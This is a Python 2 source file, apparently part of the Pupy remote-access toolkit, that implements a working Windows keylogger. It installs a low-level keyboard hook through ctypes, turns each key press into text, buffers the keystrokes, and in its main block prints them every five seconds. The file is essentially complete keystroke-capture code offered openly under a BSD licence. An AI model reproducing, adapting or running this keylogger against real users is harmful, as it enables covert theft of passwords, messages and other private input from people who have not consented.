# -------------------------------------------------------------- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE # -------------------------------------------------------------- import sys from ctypes import * from ctypes.wintypes import MSG from ctypes.wintypes import DWORD import threading import time user32 = windll.user32 kernel32 = windll.kernel32 WH_KEYBOARD_LL=13 WM_KEYDOWN=0x0100 keyCodes={ 0x08 : "[BKSP]", 0x09 : "[TAB]", 0x0D : "\n", 0x10 : "[SHIFT]", 0x11 : "[CTRL]", 0x12 : "[ALT]", 0x13 : "[PAUSE]", 0x14 : "[CAPS_LOCK]", 0x1B : "[ESCAPE]", 0x20 : " ", 0x25 : "[LEFT]", 0x26 : "[UP]", 0x27 : "[RIGHT]", 0x28 : "[DOWN]", 0x2C : "[PRINT_SCREEN]", 0x2E : "[DEL]", 0x90 : "[NUM_LOCk]", 0xA0 : "[LSHIFT]", 0xA1 : "[RSHIFT]", 0xA2 : "[LCTRL]", 0xA3 : "[RCTRL]", 0xA4 : "[LMENU]", 0xA5 : "[RMENU]", } class KeyLogger(threading.Thread): def __init__(self, *args, **kwargs): threading.Thread.__init__(self, *args, **kwargs) self.hooked = None self.daemon=True self.keys_buffer="" self.lUser32=user32 self.pointer=None self.stopped=False def run(self): if self.install_hook(): print "keylogger installed" else: raise RuntimeError("couldn't install keylogger") msg = MSG() user32.GetMessageA(byref(msg),0,0,0) while not self.stopped: time.sleep(1) self.uninstall_hook() def stop(self): self.stopped=True def dump(self): res=self.keys_buffer self.keys_buffer="" return res def convert_key_code(self, code): #https://msdn.microsoft.com/fr-fr/library/windows/desktop/dd375731%28v=vs.85%29.aspx if code >=0x41 and code <=0x5a: # letters return chr(code) elif code>=0x30 and code <=0x39: # numbers return str(code-0x30) elif code>=0x60 and code <=0x69: # keypad numbers return str(code-0x60) elif code in keyCodes: return keyCodes[code] return "[%02x]"%code def install_hook(self): CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) self.pointer = CMPFUNC(self.hook_proc) self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, self.pointer, kernel32.GetModuleHandleW(None), 0) if not self.hooked: return False return True def uninstall_hook(self): if self.hooked is None: return self.lUser32.UnhookWindowsHookEx(self.hooked) self.hooked = None def hook_proc(self, nCode, wParam, lParam): if wParam is not WM_KEYDOWN: return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) hooked_key = self.convert_key_code(lParam[0]) self.keys_buffer+=hooked_key return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) if __name__=="__main__": keyLogger = KeyLogger() keyLogger.start() while True: time.sleep(5) print keyLogger.dump()